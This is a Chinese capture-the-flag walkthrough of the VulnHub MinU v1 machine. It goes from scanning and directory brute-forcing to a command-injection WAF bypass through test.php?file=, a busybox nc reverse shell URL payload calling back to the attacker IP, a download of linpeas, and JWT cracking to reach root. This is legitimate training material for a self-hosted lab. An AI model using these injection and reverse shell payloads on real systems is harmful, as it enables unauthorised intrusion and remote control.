1.前言
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场。这里使用的技术仅用于学习交流目的,不做任何导向,请勿在现实环境中模仿,操作。本文涉及到的工具,仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。
2.准备工作
镜像下载地址:https://download.vulnhub.com/minu/MinUv1.ova.7z。
难度:简单/中等
镜像下载完成后使用VirtualBox导入,网络选择桥接模式,开启靶机,目标是获取root目录下的flag。
获得靶机IP:192.168.1.112
本机kali IP:192.168.1.113
准备工作完成,可以开始试验了。
3.网络扫描
nmap -A 192.168.1.112
查看目标主机是否在线,开放了哪些端口,提供了哪些服务及版本,可以知道目标主机可能使用了哪些软件及版本,根据不同的软件查找漏洞或突破点。
发现开放了25、80、110端口,25端口为SMTP服务,110端口为POP3,80端口嗅探出了Ubuntu系统,HTTP服务,使用的是Apache软件,版本为2.4.27。
通过浏览器访问目标机器80端口。
看到是apache的初始服务页面,80端口开放了HTTP服务,没有发现其他有用的信息
4.目录爆破
4.1dirb 目录爆破
靶机存在web网站,猜测服务端是一定有目录的,可以试一下目录爆破,这里使用dirb,也可以使用其他目录爆破工具。dirb是一个基于字典的web目录扫描工具,查找现有的(和/或隐藏的)Web对象,通过对Web服务器发起基于字典的攻击并分析响应的数据。采用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站,是在信息收集阶段获取目标信息常用工具手段。
dirb 192.168.1.112
扫描结果的状态码中大部分都是403,如果大批量出现403,说明前端是存在安全防护机制的,要么是waf要么是防御脚本。上面的爆破只有一个index.html返回的是200,访问发现就是刚才的主页。加大爆破力度。在很多情况下,我们需要在目标服务器上提取特定扩展名的目录,然后可以使用dirb扫描的-X参数。此参数接受文件扩展名,然后在目标服务器或计算机上搜索给定的扩展名文件。
通过Wappalyzer工具可以查看Web网站使用了哪些技术。可以看到网站使用了PHP语言,同时也可以看到Apache HTTP Server 版本、系统,与我们在nmap中嗅探的一样。我们可以加上扩展名php。此外,我们知道很多网站用PHP,可以单独扫一扫PHP文件。
dirb http://192.168.1.112/ -X .php
发现存在http://192.168.1.112/test.php(CODE:200|SIZE:1986)
4.2 dirsearch 目录爆破
直接使用dirsearch 目录扫描工具,可以直接扫描出结果,还可以使用御剑。
dirsearch -u 192.168.1.112
访问 http://192.168.1.112/test.php。显示如下图
从页面中看到Read last visitor data,读取上次访问者数据,是个超链接。这里可能存在数据泄露,我们点击它看看。点击超链接后页面跳转如下。
在页面的地址栏中发现test.php?file=last.html。通常?file= 可能存在文件包含漏洞、sql注入漏洞、远程代码执行漏洞。
重新构造URL测试,http://192.168.1.112/test.php?file=../../../../../../etc/
报403错误,联系到前面目录爆破时候大量报403错误,猜测网络服务器处于网络应用防火墙(WAF ,Web Application Firewall)的保护状态,尝试绕过。
5.WAF绕过
5.1wafw00f
使用wafw00f进行waf探测,wafw00f是一个Web应用防火墙(WAF)指纹识别的工具。
wafwoof工作原理:
1、首先通过发送一个正常http请求,然后观察其返回有没有一些特征字符.
2、如果不成功,它将发送大量(潜在的恶意) HTTP 请求,并使用简单的逻辑推断出它是哪个WAF.
3、如果这也不成功,它将分析以前返回的响应,并使用另一个简单的算法来猜测WAF或安全解决方案是否正在积极响应我们的攻击.
wafw00f http://192.168.1.112
显示存在WAF,但是没有识别出具体是什么WAF。网上资料显示,老版本的wafw00f可以探测出是ModSecurity (OWASP CRS),笔者没有降低自己机器wafwoof版本验证,知道了具体WAF类型之后可以网上检索绕过方法,这里知道有WAF之后,直接使用Fuzz模糊测试。
5.2 Fuzz模糊测试
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://192.168.1.112/test.php?file=FUZZ
wfuzz参数-c输出颜色,-z payload
这里探测出来很多结果,200反馈的都可以手工试一试,看是否能绕过,注意有的绕过方式自身可以绕过,但是接不同的命令就不能绕过了,或者只能执行部分命令,如果命令后面需要跟参数就更不行了,这不是我们需要的绕过方式。
例如,| 绕过,使用http://192.168..1.112/test.php?file=| dir 可以绕过
但是URL最后的命令换成ls就不能绕过,http://192.168.1.112/test.php?file=| ls
5.3 二进制绕过WAF
有一些精心选择的Unix二进制文件,可用于绕过配置错误的系统中的本地安全限制。有一个提供包含二进制文件列表的网站:GTFOBins。里面的的busybox可以绕过waf。
根据二进制绕过WAF,反弹shell到攻击机上。
在攻击机上用nc监听6789端口,然后在浏览器上执行反弹shell。
启动nc监听:nc -vlp 6789
反弹shell:http://192.168.1.112/test.php?file=YL;busybox nc 192.168.1.113 6789 -e sh
反弹连接成功,但是显示的时候没有环境变量,每个二进制文件都包含环境变量,可以添加参数-i。
http://192.168.1.112/test.php?file=YL;busybox nc 192.168.1.113 6789 -e sh -i
6.提权
以上步骤已经获得了目标系统的用户权限,但是不是管理员权限,我们期望获得管理员的权限,获得管理员的账号/密码,完全控制目标机器,执行任意操作。
6.1 内部信息收集
使用命令 uname -a
我们得知了操作系统版本信息,是32位系统。
我们可以使用Linux提取辅助工具,linpeas.sh脚本。脚本位于:PEASS-ng/linPEAS at master · carlospolop/PEASS-ng · GitHub
使用命令curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh > linpeas.sh
下载到本地,然后上传到目标机器上并执行。
在攻击机器上启动HTTP服务,用于靶机从攻击机下载文件。
python -m http.server 80 #pyhton3中启动方式
python -m SimpleHTTPServer 8081 #python2启动方式
使用wget命令从攻击机上传linpeas.sh到靶机。
wget http://192.168.1.113:8081/linpeas.sh -O /tmp/linpeas.sh
使用chmod,授予linpeas.sh执行权限并运行它。
chmod 777 linpeas.sh
./linpeas.sh
这个脚本可以枚举很多有用的信息,比如一些CVE,隐藏文件,密码文件等等。
6.2 JWT解密
在目标系统中/home/bob目录下发现隐藏文件._pw_。显示看一下,怀疑是某种base64密文。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
把密文放到burp中作为base64解码看看。
发现是JWT(JSON Web 令牌)。找个JWT解密工具破解。
解密出来密码是mlnV1
在反弹的shell中输入su root ,切换用户,没有反应。
原因是获取的shell不是一个标准的虚拟终端环境,会在一个功能非常有限的 shell 中,它仅仅是一个标准输入。我们会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但其回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种。•获取的虚拟终端没有交互性,例如没有命令历史记录(并使用向上和向下箭头循环浏览它们)和文件名称、命令自动完成等,在缺少这些功能的 shell 中查询或操作会比较麻烦。我们想给添加的账号设置密码或执行sudo等命令,无法完成。•标准的错误输出无法显示,无法正常使用vim等文本编辑器等。•获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。这往往都是因为我们获取的shell并不是标准的虚拟终端,为了能够完成切换用户、输入密码等操作,我们必须模拟一个真正的终端设备。
在反弹的shell连接中输入
SHELL=/bin/bash script -q /dev/null
su root
然后输入密码mlnV1,在/root目录下即可看到flag.txt
7. 结语
通过这个实验,学习了nmap扫描、dirb目录爆破、WAF绕过、反弹shell、文件上传、JWT解密等等。渗透还是需要多动手实操作,重要的是清晰的思路,在每个步骤都有很多解决方案,用好Google。最后希望各位师傅多多指点!!!